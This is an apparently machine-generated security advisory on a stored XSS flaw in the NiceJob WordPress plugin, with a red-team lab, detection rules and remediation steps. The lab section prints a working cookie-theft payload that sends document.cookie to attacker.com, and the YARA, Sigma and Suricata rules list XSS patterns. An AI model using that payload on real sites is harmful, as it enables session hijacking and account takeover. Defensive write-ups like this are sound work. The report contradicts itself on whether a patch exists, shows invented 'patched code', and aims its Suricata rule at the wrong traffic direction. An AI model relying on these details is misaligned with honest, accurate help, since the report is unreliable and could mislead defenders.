CVE-2024-44025

Executive Summary

CVE-2024-44025 is a Stored Cross-Site Scripting (XSS) vulnerability in the NiceJob WordPress plugin (versions n/a through < 3.6.5). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user visiting the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Given that NiceJob is a WordPress plugin, this vulnerability affects the WordPress ecosystem directly. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the partial impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently. However, the lack of a patch from the vendor increases the risk for unpatched installations.

Supply Chain & Package Security

This vulnerability is specific to the NiceJob WordPress plugin. WordPress plugins are distributed through the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin by checking its checksum or digital signature if available. The plugin's update mechanism should be used to apply the patched version (3.6.5) as soon as it becomes available. Administrators should also review the plugin's code for any other potential security issues and consider using a Web Application Firewall (WAF) to mitigate XSS attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): Required – The victim must visit a crafted page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of WordPress make this a significant threat for unpatched sites. The lack of a public exploit reduces immediate risk, but the vulnerability is trivial to exploit once discovered.

Deep Dive & Mechanics

The NiceJob plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in web pages. This is a classic Stored XSS vulnerability. An attacker can submit malicious JavaScript code through any input field that is not properly validated (e.g., comments, reviews, or custom fields). The malicious payload is then stored on the server and executed in the browser of any user who views the affected page.

Attack Flow:

1. Attacker identifies an input field in the NiceJob plugin that does not sanitize HTML/JavaScript.
2. Attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload that steals cookies or redirects users.
3. The payload is stored in the WordPress database.
4. When an administrator or visitor loads the page that displays the stored data, the browser executes the malicious script.
5. The attacker can then perform actions such as session hijacking, defacement, or phishing.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses(), or esc_attr()).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a template file or shortcode handler
echo $user_input; // Direct output without sanitization

Patched Code (Version 3.6.5):

// Properly escape output
echo esc_html( $user_input );
// Or use wp_kses() for allowed HTML
echo wp_kses( $user_input, array( 'a' => array( 'href' => array() ) ) );

The patched version ensures that all user-supplied data is properly escaped before being rendered in the browser, preventing script execution.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate Stored XSS exploitation.

Lab Setup:

1. Install WordPress with the NiceJob plugin version < 3.6.5.
2. Create a user account with the ability to submit data (e.g., a reviewer or commenter).
3. Use a browser or tool like Burp Suite to intercept and modify requests.

Exploitation Steps:

1. Navigate to a page where user input is accepted (e.g., a review form).
2. Submit the following payload in a text field:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. The payload is stored and executed when an admin views the page.
4. The attacker receives the victim's cookies.

Note: No public exploit code is available. The above is a generic example.

Blue Team

Objective: Detect and block Stored XSS attempts.

Detection:

• Monitor web server logs for unusual input patterns (e.g., <script>, onerror=, javascript:).
• Use a WAF to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Immediately upgrade to NiceJob version 3.6.5 or later.
• If patching is not possible, disable the plugin or restrict user input capabilities.
• Regularly scan the WordPress database for malicious content using security plugins.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious domains or IP addresses.
  • Unusual Referer headers or User-Agent strings.
• Host IOCs:
  • Presence of <script> tags or event handlers (e.g., onload, onerror) in the WordPress database (wp_posts, wp_comments, wp_options).
  • Unexpected JavaScript files in the uploads directory.
• File IOCs:
  • Modified plugin files (check file integrity).
  • Suspicious entries in .htaccess or wp-config.php.

Detection Engineering

YARA Rule

rule CVE_2024_44025_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting NiceJob plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-44025"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS Attempt via NiceJob Plugin
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects potential stored XSS payloads in WordPress requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in comments (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44025 Stored XSS Payload Detected"; flow:to_server,established; content:"<script"; nocase; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the NiceJob plugin to version 3.6.5 or later as soon as it is available.
2. Disable Plugin: If patching is not possible, disable the NiceJob plugin until a fix is applied.
3. Database Scan: Use a security plugin (e.g., Wordfence, Sucuri) to scan the WordPress database for existing XSS payloads and remove them.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS filtering rules.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Regularly update all WordPress plugins, themes, and core.
• Conduct periodic security audits and code reviews for custom plugins.
• Educate users about the risks of submitting untrusted content.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.